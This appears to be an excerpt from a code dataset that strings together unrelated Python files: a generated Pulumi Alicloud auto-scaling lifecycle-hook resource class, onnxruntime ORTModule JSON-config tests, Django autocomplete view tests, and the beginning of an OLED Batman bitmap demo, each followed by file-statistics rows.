:param pulumi.Input[int] heartbeat_timeout: Defines the amount of time, in seconds, that can elapse before the lifecycle hook times out. When the lifecycle hook times out, Auto Scaling performs the action defined in the default_result parameter. Default value: 600.
:param pulumi.Input[str] name: The name of the lifecycle hook, which must contain 2-64 characters (English or Chinese), starting with numbers, English letters or Chinese characters, and can contain number, underscores `_`, hypens `-`, and decimal point `.`. If this parameter value is not specified, the default value is lifecycle hook id.
:param pulumi.Input[str] notification_arn: The Arn of notification target.
:param pulumi.Input[str] notification_metadata: Additional information that you want to include when Auto Scaling sends a message to the notification target.
"""
pulumi.set(__self__, "lifecycle_transition", lifecycle_transition)
pulumi.set(__self__, "scaling_group_id", scaling_group_id)
if default_result is not None:
pulumi.set(__self__, "default_result", default_result)
if heartbeat_timeout is not None:
pulumi.set(__self__, "heartbeat_timeout", heartbeat_timeout)
if name is not None:
pulumi.set(__self__, "name", name)
if notification_arn is not None:
pulumi.set(__self__, "notification_arn", notification_arn)
if notification_metadata is not None:
pulumi.set(__self__, "notification_metadata", notification_metadata)
@property
@pulumi.getter(name="lifecycleTransition")
def lifecycle_transition(self) -> pulumi.Input[str]:
"""
Type of Scaling activity attached to lifecycle hook. Supported value: SCALE_OUT, SCALE_IN.
"""
return pulumi.get(self, "lifecycle_transition")
@lifecycle_transition.setter
def lifecycle_transition(self, value: pulumi.Input[str]):
pulumi.set(self, "lifecycle_transition", value)
@property
@pulumi.getter(name="scalingGroupId")
def scaling_group_id(self) -> pulumi.Input[str]:
"""
The ID of the Auto Scaling group to which you want to assign the lifecycle hook.
"""
return pulumi.get(self, "scaling_group_id")
@scaling_group_id.setter
def scaling_group_id(self, value: pulumi.Input[str]):
pulumi.set(self, "scaling_group_id", value)
@property
@pulumi.getter(name="defaultResult")
def default_result(self) -> Optional[pulumi.Input[str]]:
"""
Defines the action the Auto Scaling group should take when the lifecycle hook timeout elapses. Applicable value: CONTINUE, ABANDON, default value: CONTINUE.
"""
return pulumi.get(self, "default_result")
@default_result.setter
def default_result(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "default_result", value)
@property
@pulumi.getter(name="heartbeatTimeout")
def heartbeat_timeout(self) -> Optional[pulumi.Input[int]]:
"""
Defines the amount of time, in seconds, that can elapse before the lifecycle hook times out. When the lifecycle hook times out, Auto Scaling performs the action defined in the default_result parameter. Default value: 600.
"""
return pulumi.get(self, "heartbeat_timeout")
@heartbeat_timeout.setter
def heartbeat_timeout(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "heartbeat_timeout", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the lifecycle hook, which must contain 2-64 characters (English or Chinese), starting with numbers, English letters or Chinese characters, and can contain number, underscores `_`, hypens `-`, and decimal point `.`. If this parameter value is not specified, the default value is lifecycle hook id.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="notificationArn")
def notification_arn(self) -> Optional[pulumi.Input[str]]:
"""
The Arn of notification target.
"""
return pulumi.get(self, "notification_arn")
@notification_arn.setter
def notification_arn(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "notification_arn", value)
@property
@pulumi.getter(name="notificationMetadata")
def notification_metadata(self) -> Optional[pulumi.Input[str]]:
"""
Additional information that you want to include when Auto Scaling sends a message to the notification target.
"""
return pulumi.get(self, "notification_metadata")
@notification_metadata.setter
def notification_metadata(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "notification_metadata", value)
@pulumi.input_type
class _LifecycleHookState:
def __init__(__self__, *,
default_result: Optional[pulumi.Input[str]] = None,
heartbeat_timeout: Optional[pulumi.Input[int]] = None,
lifecycle_transition: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
notification_arn: Optional[pulumi.Input[str]] = None,
notification_metadata: Optional[pulumi.Input[str]] = None,
scaling_group_id: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering LifecycleHook resources.
:param pulumi.Input[str] default_result: Defines the action the Auto Scaling group should take when the lifecycle hook timeout elapses. Applicable value: CONTINUE, ABANDON, default value: CONTINUE.
:param pulumi.Input[int] heartbeat_timeout: Defines the amount of time, in seconds, that can elapse before the lifecycle hook times out. When the lifecycle hook times out, Auto Scaling performs the action defined in the default_result parameter. Default value: 600.
:param pulumi.Input[str] lifecycle_transition: Type of Scaling activity attached to lifecycle hook. Supported value: SCALE_OUT, SCALE_IN.
:param pulumi.Input[str] name: The name of the lifecycle hook, which must contain 2-64 characters (English or Chinese), starting with numbers, English letters or Chinese characters, and can contain number, underscores `_`, hypens `-`, and decimal point `.`. If this parameter value is not specified, the default value is lifecycle hook id.
:param pulumi.Input[str] notification_arn: The Arn of notification target.
:param pulumi.Input[str] notification_metadata: Additional information that you want to include when Auto Scaling sends a message to the notification target.
:param pulumi.Input[str] scaling_group_id: The ID of the Auto Scaling group to which you want to assign the lifecycle hook.
"""
if default_result is not None:
pulumi.set(__self__, "default_result", default_result)
if heartbeat_timeout is not None:
pulumi.set(__self__, "heartbeat_timeout", heartbeat_timeout)
if lifecycle_transition is not None:
pulumi.set(__self__, "lifecycle_transition", lifecycle_transition)
if name is not None:
pulumi.set(__self__, "name", name)
if notification_arn is not None:
pulumi.set(__self__, "notification_arn", notification_arn)
if notification_metadata is not None:
pulumi.set(__self__, "notification_metadata", notification_metadata)
if scaling_group_id is not None:
pulumi.set(__self__, "scaling_group_id", scaling_group_id)
@property
@pulumi.getter(name="defaultResult")
def default_result(self) -> Optional[pulumi.Input[str]]:
"""
Defines the action the Auto Scaling group should take when the lifecycle hook timeout elapses. Applicable value: CONTINUE, ABANDON, default value: CONTINUE.
"""
return pulumi.get(self, "default_result")
@default_result.setter
def default_result(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "default_result", value)
@property
@pulumi.getter(name="heartbeatTimeout")
def heartbeat_timeout(self) -> Optional[pulumi.Input[int]]:
"""
Defines the amount of time, in seconds, that can elapse before the lifecycle hook times out. When the lifecycle hook times out, Auto Scaling performs the action defined in the default_result parameter. Default value: 600.
"""
return pulumi.get(self, "heartbeat_timeout")
@heartbeat_timeout.setter
def heartbeat_timeout(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "heartbeat_timeout", value)
@property
@pulumi.getter(name="lifecycleTransition")
def lifecycle_transition(self) -> Optional[pulumi.Input[str]]:
"""
Type of Scaling activity attached to lifecycle hook. Supported value: SCALE_OUT, SCALE_IN.
"""
return pulumi.get(self, "lifecycle_transition")
@lifecycle_transition.setter
def lifecycle_transition(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "lifecycle_transition", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the lifecycle hook, which must contain 2-64 characters (English or Chinese), starting with numbers, English letters or Chinese characters, and can contain number, underscores `_`, hypens `-`, and decimal point `.`. If this parameter value is not specified, the default value is lifecycle hook id.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="notificationArn")
def notification_arn(self) -> Optional[pulumi.Input[str]]:
"""
The Arn of notification target.
"""
return pulumi.get(self, "notification_arn")
@notification_arn.setter
def notification_arn(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "notification_arn", value)
@property
@pulumi.getter(name="notificationMetadata")
def notification_metadata(self) -> Optional[pulumi.Input[str]]:
"""
Additional information that you want to include when Auto Scaling sends a message to the notification target.
"""
return pulumi.get(self, "notification_metadata")
@notification_metadata.setter
def notification_metadata(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "notification_metadata", value)
@property
@pulumi.getter(name="scalingGroupId")
def scaling_group_id(self) -> Optional[pulumi.Input[str]]:
"""
The ID of the Auto Scaling group to which you want to assign the lifecycle hook.
"""
return pulumi.get(self, "scaling_group_id")
@scaling_group_id.setter
def scaling_group_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "scaling_group_id", value)
class LifecycleHook(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
default_result: Optional[pulumi.Input[str]] = None,
heartbeat_timeout: Optional[pulumi.Input[int]] = None,
lifecycle_transition: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
notification_arn: Optional[pulumi.Input[str]] = None,
notification_metadata: Optional[pulumi.Input[str]] = None,
scaling_group_id: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
## Import
Ess lifecycle hook can be imported using the id, e.g.
```sh
$ pulumi import alicloud:ess/lifecycleHook:LifecycleHook example ash-l12345
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] default_result: Defines the action the Auto Scaling group should take when the lifecycle hook timeout elapses. Applicable value: CONTINUE, ABANDON, default value: CONTINUE.
:param pulumi.Input[int] heartbeat_timeout: Defines the amount of time, in seconds, that can elapse before the lifecycle hook times out. When the lifecycle hook times out, Auto Scaling performs the action defined in the default_result parameter. Default value: 600.
:param pulumi.Input[str] lifecycle_transition: Type of Scaling activity attached to lifecycle hook. Supported value: SCALE_OUT, SCALE_IN.
:param pulumi.Input[str] name: The name of the lifecycle hook, which must contain 2-64 characters (English or Chinese), starting with numbers, English letters or Chinese characters, and can contain number, underscores `_`, hypens `-`, and decimal point `.`. If this parameter value is not specified, the default value is lifecycle hook id.
:param pulumi.Input[str] notification_arn: The Arn of notification target.
:param pulumi.Input[str] notification_metadata: Additional information that you want to include when Auto Scaling sends a message to the notification target.
:param pulumi.Input[str] scaling_group_id: The ID of the Auto Scaling group to which you want to assign the lifecycle hook.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: LifecycleHookArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
## Import
Ess lifecycle hook can be imported using the id, e.g.
```sh
$ pulumi import alicloud:ess/lifecycleHook:LifecycleHook example ash-l12345
```
:param str resource_name: The name of the resource.
:param LifecycleHookArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(LifecycleHookArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
default_result: Optional[pulumi.Input[str]] = None,
heartbeat_timeout: Optional[pulumi.Input[int]] = None,
lifecycle_transition: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
notification_arn: Optional[pulumi.Input[str]] = None,
notification_metadata: Optional[pulumi.Input[str]] = None,
scaling_group_id: Optional[pulumi.Input[str]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = LifecycleHookArgs.__new__(LifecycleHookArgs)
__props__.__dict__["default_result"] = default_result
__props__.__dict__["heartbeat_timeout"] = heartbeat_timeout
if lifecycle_transition is None and not opts.urn:
raise TypeError("Missing required property 'lifecycle_transition'")
__props__.__dict__["lifecycle_transition"] = lifecycle_transition
__props__.__dict__["name"] = name
__props__.__dict__["notification_arn"] = notification_arn
__props__.__dict__["notification_metadata"] = notification_metadata
if scaling_group_id is None and not opts.urn:
raise TypeError("Missing required property 'scaling_group_id'")
__props__.__dict__["scaling_group_id"] = scaling_group_id
super(LifecycleHook, __self__).__init__(
'alicloud:ess/lifecycleHook:LifecycleHook',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
default_result: Optional[pulumi.Input[str]] = None,
heartbeat_timeout: Optional[pulumi.Input[int]] = None,
lifecycle_transition: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
notification_arn: Optional[pulumi.Input[str]] = None,
notification_metadata: Optional[pulumi.Input[str]] = None,
scaling_group_id: Optional[pulumi.Input[str]] = None) -> 'LifecycleHook':
"""
Get an existing LifecycleHook resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] default_result: Defines the action the Auto Scaling group should take when the lifecycle hook timeout elapses. Applicable value: CONTINUE, ABANDON, default value: CONTINUE.
:param pulumi.Input[int] heartbeat_timeout: Defines the amount of time, in seconds, that can elapse before the lifecycle hook times out. When the lifecycle hook times out, Auto Scaling performs the action defined in the default_result parameter. Default value: 600.
:param pulumi.Input[str] lifecycle_transition: Type of Scaling activity attached to lifecycle hook. Supported value: SCALE_OUT, SCALE_IN.
:param pulumi.Input[str] name: The name of the lifecycle hook, which must contain 2-64 characters (English or Chinese), starting with numbers, English letters or Chinese characters, and can contain number, underscores `_`, hypens `-`, and decimal point `.`. If this parameter value is not specified, the default value is lifecycle hook id.
:param pulumi.Input[str] notification_arn: The Arn of notification target.
:param pulumi.Input[str] notification_metadata: Additional information that you want to include when Auto Scaling sends a message to the notification target.
:param pulumi.Input[str] scaling_group_id: The ID of the Auto Scaling group to which you want to assign the lifecycle hook.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _LifecycleHookState.__new__(_LifecycleHookState)
__props__.__dict__["default_result"] = default_result
__props__.__dict__["heartbeat_timeout"] = heartbeat_timeout
__props__.__dict__["lifecycle_transition"] = lifecycle_transition
__props__.__dict__["name"] = name
__props__.__dict__["notification_arn"] = notification_arn
__props__.__dict__["notification_metadata"] = notification_metadata
__props__.__dict__["scaling_group_id"] = scaling_group_id
return LifecycleHook(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter(name="defaultResult")
def default_result(self) -> pulumi.Output[Optional[str]]:
"""
Defines the action the Auto Scaling group should take when the lifecycle hook timeout elapses. Applicable value: CONTINUE, ABANDON, default value: CONTINUE.
"""
return pulumi.get(self, "default_result")
@property
@pulumi.getter(name="heartbeatTimeout")
def heartbeat_timeout(self) -> pulumi.Output[Optional[int]]:
"""
Defines the amount of time, in seconds, that can elapse before the lifecycle hook times out. When the lifecycle hook times out, Auto Scaling performs the action defined in the default_result parameter. Default value: 600.
"""
return pulumi.get(self, "heartbeat_timeout")
@property
@pulumi.getter(name="lifecycleTransition")
def lifecycle_transition(self) -> pulumi.Output[str]:
"""
Type of Scaling activity attached to lifecycle hook. Supported value: SCALE_OUT, SCALE_IN.
"""
return pulumi.get(self, "lifecycle_transition")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
"""
The name of the lifecycle hook, which must contain 2-64 characters (English or Chinese), starting with numbers, English letters or Chinese characters, and can contain number, underscores `_`, hypens `-`, and decimal point `.`. If this parameter value is not specified, the default value is lifecycle hook id.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter(name="notificationArn")
def notification_arn(self) -> pulumi.Output[str]:
"""
The Arn of notification target.
"""
return pulumi.get(self, "notification_arn")
@property
@pulumi.getter(name="notificationMetadata")
def notification_metadata(self) -> pulumi.Output[str]:
"""
Additional information that you want to include when Auto Scaling sends a message to the notification target.
"""
return pulumi.get(self, "notification_metadata")
@property
@pulumi.getter(name="scalingGroupId")
def scaling_group_id(self) -> pulumi.Output[str]:
"""
The ID of the Auto Scaling group to which you want to assign the lifecycle hook.
"""
return pulumi.get(self, "scaling_group_id")
| 53.576577 | 347 | 0.686312 | 2,862 | 23,788 | 5.508386 | 0.070929 | 0.066286 | 0.071043 | 0.066984 | 0.891468 | 0.878846 | 0.873708 | 0.862226 | 0.851633 | 0.824167 | 0 | 0.002875 | 0.225156 | 23,788 | 443 | 348 | 53.697517 | 0.852431 | 0.398899 | 0 | 0.751908 | 1 | 0 | 0.119592 | 0.01882 | 0 | 0 | 0 | 0 | 0 | 1 | 0.160305 | false | 0.003817 | 0.019084 | 0 | 0.274809 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
d2bcff7c0c3b8ff2bd06954889ab4ed80532302f | 5,185 | py | Python | orttraining/orttraining/test/python/orttraining_test_ortmodule_experimental_json_config.py | lchang20/onnxruntime | 97b8f6f394ae02c73ed775f456fd85639c91ced1 | [
"MIT"
] | 1 | 2022-02-23T07:36:58.000Z | 2022-02-23T07:36:58.000Z | orttraining/orttraining/test/python/orttraining_test_ortmodule_experimental_json_config.py | lchang20/onnxruntime | 97b8f6f394ae02c73ed775f456fd85639c91ced1 | [
"MIT"
] | 10 | 2022-02-15T21:52:24.000Z | 2022-02-23T21:26:01.000Z | orttraining/orttraining/test/python/orttraining_test_ortmodule_experimental_json_config.py | lchang20/onnxruntime | 97b8f6f394ae02c73ed775f456fd85639c91ced1 | [
"MIT"
] | null | null | null |
import os
import torch
from onnxruntime.training import ortmodule
from onnxruntime.capi import _pybind_state as C
from onnxruntime.training.ortmodule.experimental.json_config import load_from_json
class Net(torch.nn.Module):
def __init__(self, input_size=784, hidden_size=500, num_classes=10):
super(Net, self).__init__()
self.fc1 = torch.nn.Linear(input_size, hidden_size)
self.relu = torch.nn.ReLU()
self.fc2 = torch.nn.Linear(hidden_size, num_classes)
def forward(self, input1):
out = self.fc1(input1)
out = self.relu(out)
out = self.fc2(out)
return out
def test_load_config_from_json_1():
device = 'cuda'
model = ortmodule.ORTModule(Net().to(device))
# load from json once.
path_to_json = os.path.join(os.getcwd(), 'orttraining_test_ortmodule_experimental_json_config_2.json')
load_from_json(model, path_to_json)
# load from json another time
path_to_json = os.path.join(os.getcwd(), 'orttraining_test_ortmodule_experimental_json_config_1.json')
load_from_json(model, path_to_json)
for training_mode in [True, False]:
ort_model_attributes = model._torch_module._execution_manager(training_mode)
# test propagate cast ops
assert ort_model_attributes._propagate_cast_ops_strategy == C.PropagateCastOpsStrategy.FLOOD_FILL
assert ort_model_attributes._propagate_cast_ops_level == 3
assert ort_model_attributes._propagate_cast_ops_allow == ["ABC", "DEF"]
# test use external gpu allocator
assert ort_model_attributes._use_external_gpu_allocator == False
# test enable custom autograd function
assert ort_model_attributes._enable_custom_autograd_function == True
# test allow layer norm mod precision
assert ort_model_attributes._allow_layer_norm_mod_precision == True
# test use static shape
assert ort_model_attributes._use_static_shape == True
# test run symbolic shape inference
assert ort_model_attributes._run_symbolic_shape_infer == False
# test enable grad acc optimization
assert ort_model_attributes._enable_grad_acc_optimization == True
# test skip check
assert ort_model_attributes._skip_check.value == 14
# test debug options
assert ort_model_attributes._debug_options.save_onnx_models.save == True
assert ort_model_attributes._debug_options.save_onnx_models.name_prefix == 'my_model'
assert ort_model_attributes._debug_options.logging.log_level.name == "VERBOSE"
# test use memory aware gradient builder.
assert ort_model_attributes._use_memory_efficient_gradient == False
# test fallback policy
assert ort_model_attributes._fallback_manager.policy.value == 1
# assert onnx opset version
assert ortmodule.ONNX_OPSET_VERSION == 13
def test_load_config_from_json_2():
device = 'cuda'
model = ortmodule.ORTModule(Net().to(device))
# load from json once.
path_to_json = os.path.join(os.getcwd(), 'orttraining_test_ortmodule_experimental_json_config_1.json')
load_from_json(model, path_to_json)
# load from json another time
path_to_json = os.path.join(os.getcwd(), 'orttraining_test_ortmodule_experimental_json_config_2.json')
load_from_json(model, path_to_json)
for training_mode in [True, False]:
ort_model_attributes = model._torch_module._execution_manager(training_mode)
# test propagate cast ops
assert ort_model_attributes._propagate_cast_ops_strategy == C.PropagateCastOpsStrategy.INSERT_AND_REDUCE
assert ort_model_attributes._propagate_cast_ops_level == 5
assert ort_model_attributes._propagate_cast_ops_allow == ["XYZ", "PQR"]
# test use external gpu allocator
assert ort_model_attributes._use_external_gpu_allocator == True
# test enable custom autograd function
assert ort_model_attributes._enable_custom_autograd_function == False
# test allow layer norm mod precision
assert ort_model_attributes._allow_layer_norm_mod_precision == False
# test use static shape
assert ort_model_attributes._use_static_shape == False
# test run symbolic shape inference
assert ort_model_attributes._run_symbolic_shape_infer == True
# test enable grad acc optimization
assert ort_model_attributes._enable_grad_acc_optimization == False
# test skip check
assert ort_model_attributes._skip_check.value == 10
# test debug options
assert ort_model_attributes._debug_options.save_onnx_models.save == True
assert ort_model_attributes._debug_options.save_onnx_models.name_prefix == 'my_other_model'
assert ort_model_attributes._debug_options.logging.log_level.name == "INFO"
# test use memory aware gradient builder.
assert ort_model_attributes._use_memory_efficient_gradient == True
# test fallback policy
assert ort_model_attributes._fallback_manager.policy.value == 250
# assert onnx opset version
assert ortmodule.ONNX_OPSET_VERSION == 12
| 39.280303 | 112 | 0.734041 | 674 | 5,185 | 5.237389 | 0.194362 | 0.072521 | 0.163173 | 0.203966 | 0.843059 | 0.843059 | 0.828895 | 0.828895 | 0.777904 | 0.747875 | 0 | 0.008193 | 0.199614 | 5,185 | 131 | 113 | 39.580153 | 0.84241 | 0.150241 | 0 | 0.272727 | 0 | 0 | 0.065128 | 0.053016 | 0 | 0 | 0 | 0 | 0.484848 | 1 | 0.060606 | false | 0 | 0.075758 | 0 | 0.166667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
824ebbcc69de0f98edb989ba3f25e9b4815bca36 | 5,651 | py | Python | tests/web/views/test_autocomplete.py | bitcaster-io/bitcaster | 9f1bad96e00e3bc78a22451731e231d30662b166 | [
"BSD-3-Clause"
] | 4 | 2018-03-01T10:22:30.000Z | 2020-04-04T16:31:11.000Z | tests/web/views/test_autocomplete.py | bitcaster-io/bitcaster | 9f1bad96e00e3bc78a22451731e231d30662b166 | [
"BSD-3-Clause"
] | 60 | 2018-05-20T04:42:32.000Z | 2022-02-10T17:03:37.000Z | tests/web/views/test_autocomplete.py | bitcaster-io/bitcaster | 9f1bad96e00e3bc78a22451731e231d30662b166 | [
"BSD-3-Clause"
] | 1 | 2018-08-04T05:06:45.000Z | 2018-08-04T05:06:45.000Z | import pytest
from django.urls import reverse
pytestmark = pytest.mark.django_db
# UserAutocomplete
def test_userautocomplete_full(django_app, organization1):
url = reverse('user-autocomplete')
user = organization1.owner
res = django_app.get(url, user=user)
assert res.json['results'][0]['text'] == user.email
def test_userautocomplete_query(django_app, organization1):
url = reverse('user-autocomplete')
user = organization1.owner
url = '%s?q=%s' % (url, user.email)
res = django_app.get(url, user=user)
assert res.json['results'][0]['text'] == user.email
def test_userautocomplete_anonymous(django_app, organization1):
url = reverse('user-autocomplete')
user = organization1.owner
url = '%s?q=%s' % (url, user.email)
res = django_app.get(url)
assert res.status_code != 200 # now 302 should be 401 ?
# ChannelAutocomplete
def test_channelautocomplete_full(django_app, channel1):
organization = channel1.organization
url = reverse('channel-autocomplete', args=[organization.slug])
user = organization.owner
res = django_app.get(url, user=user)
assert res.json['results'][0]['text'] == channel1.name
def test_channelautocomplete_query(django_app, channel1):
organization = channel1.organization
url = reverse('channel-autocomplete', args=[organization.slug])
user = organization.owner
url = '%s?q=%s' % (url, channel1.name)
res = django_app.get(url, user=user)
assert res.json['results'][0]['text'] == channel1.name
def test_channelautocomplete_anonymous(django_app, channel1):
organization = channel1.organization
url = reverse('channel-autocomplete', args=[organization.slug])
user = organization.owner
url = '%s?q=%s' % (url, user.email)
res = django_app.get(url)
assert res.status_code != 200 # now 302 should be 401 ?
# AddressAutocomplete
def test_addressautocomplete_full(django_app, organization_member):
url = reverse('address-autocomplete')
user = organization_member.user
res = django_app.get(url, user=user)
assert res.json['results'][0]['text'] == str(user.addresses.first())
def test_addressautocomplete_query(django_app, organization_member):
url = reverse('address-autocomplete')
user = organization_member.user
url = '%s?q=%s' % (url, user.addresses.first().label)
res = django_app.get(url, user=user)
assert res.json['results'][0]['text'] == str(user.addresses.first())
# ApplicationAutocomplete
def test_applicationutocomplete_full(django_app, application1):
url = reverse('application-autocomplete', args=[application1.organization.slug])
user = application1.organization.owner
res = django_app.get(url, user=user)
assert res.json['results'][0]['text'] == application1.name
def test_applicationautocomplete_query(django_app, application1):
url = reverse('application-autocomplete', args=[application1.organization.slug])
user = application1.organization.owner
url = '%s?q=%s' % (url, application1.name)
res = django_app.get(url, user=user)
assert res.json['results'][0]['text'] == application1.name
# OrganizationMembersAutocomplete
def test_organization_memberautocomplete_full(django_app, organization_member):
url = reverse('org-member-autocomplete', args=[organization_member.organization.slug])
user = organization_member.organization.owner
res = django_app.get(url, user=user)
assert res.json['results'][0]['text'] == str(user)
def test_organization_memberautocomplete_query(django_app, organization_member):
url = reverse('org-member-autocomplete', args=[organization_member.organization.slug])
user = organization_member.user
url = '%s?q=%s' % (url, user.email)
res = django_app.get(url, user=user)
assert res.json['results'][0]['text'] == str(user)
# ApplicationMembersAutocomplete
def test_application_memberautocomplete_full(django_app, application_member):
url = reverse('app-member-autocomplete', args=[application_member.application.organization.slug,
application_member.application.slug])
user = application_member.application.organization.owner
res = django_app.get(url, user=user)
assert res.json['results'][0]['text'] == str(user)
def test_application_memberautocomplete_query(django_app, application_member):
url = reverse('app-member-autocomplete', args=[application_member.application.organization.slug,
application_member.application.slug])
user = application_member.application.organization.owner
url = '%s?q=%s' % (url, str(user))
res = django_app.get(url, user=user)
assert res.json['results'][0]['text'] == str(user)
# ApplicationCandidateAutocomplete
def test_application_candidate_autocomplete_full(django_app, application1, organization_member):
url = reverse('app-candidate-autocomplete', args=[application1.organization.slug,
application1.slug])
user = application1.organization.owner
res = django_app.get(url, user=user)
assert res.json['results'][0]['text'] == str(user)
def test_application_candidate_autocomplete_query(django_app, application1, organization_member):
url = reverse('app-candidate-autocomplete', args=[application1.organization.slug,
application1.slug])
user = application1.organization.owner
url = '%s?q=%s' % (url, user.email)
res = django_app.get(url, user=user)
assert res.json['results'][0]['text'] == str(user)
| 36.224359 | 100 | 0.702707 | 659 | 5,651 | 5.881639 | 0.095599 | 0.074303 | 0.049536 | 0.06192 | 0.839267 | 0.823787 | 0.823787 | 0.816821 | 0.816821 | 0.816821 | 0 | 0.01362 | 0.168466 | 5,651 | 155 | 101 | 36.458065 | 0.811236 | 0.039639 | 0 | 0.757576 | 0 | 0 | 0.103378 | 0.035444 | 0 | 0 | 0 | 0 | 0.161616 | 1 | 0.161616 | false | 0 | 0.020202 | 0 | 0.181818 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
82895a4947ee65f734f316b39cf83e5a328bf2ec | 9,282 | py | Python | BatmanDemo.py | pleft/omega-python-oled | 6d340f7bf2105cd134af5511f66aa63ceaaed85e | [
"MIT"
] | 1 | 2021-11-28T21:44:41.000Z | 2021-11-28T21:44:41.000Z | BatmanDemo.py | pleft/omega-python-oled | 6d340f7bf2105cd134af5511f66aa63ceaaed85e | [
"MIT"
] | 1 | 2017-11-14T09:19:52.000Z | 2017-11-14T17:48:44.000Z | BatmanDemo.py | pleft/omega-python-oled | 6d340f7bf2105cd134af5511f66aa63ceaaed85e | [
"MIT"
] | 1 | 2019-03-25T03:42:28.000Z | 2019-03-25T03:42:28.000Z | import OledLib
from OmegaExpansion import oledExp
from random import randint
import time
batman = [
[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],
[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],
[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],
[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],
[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],
[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1],
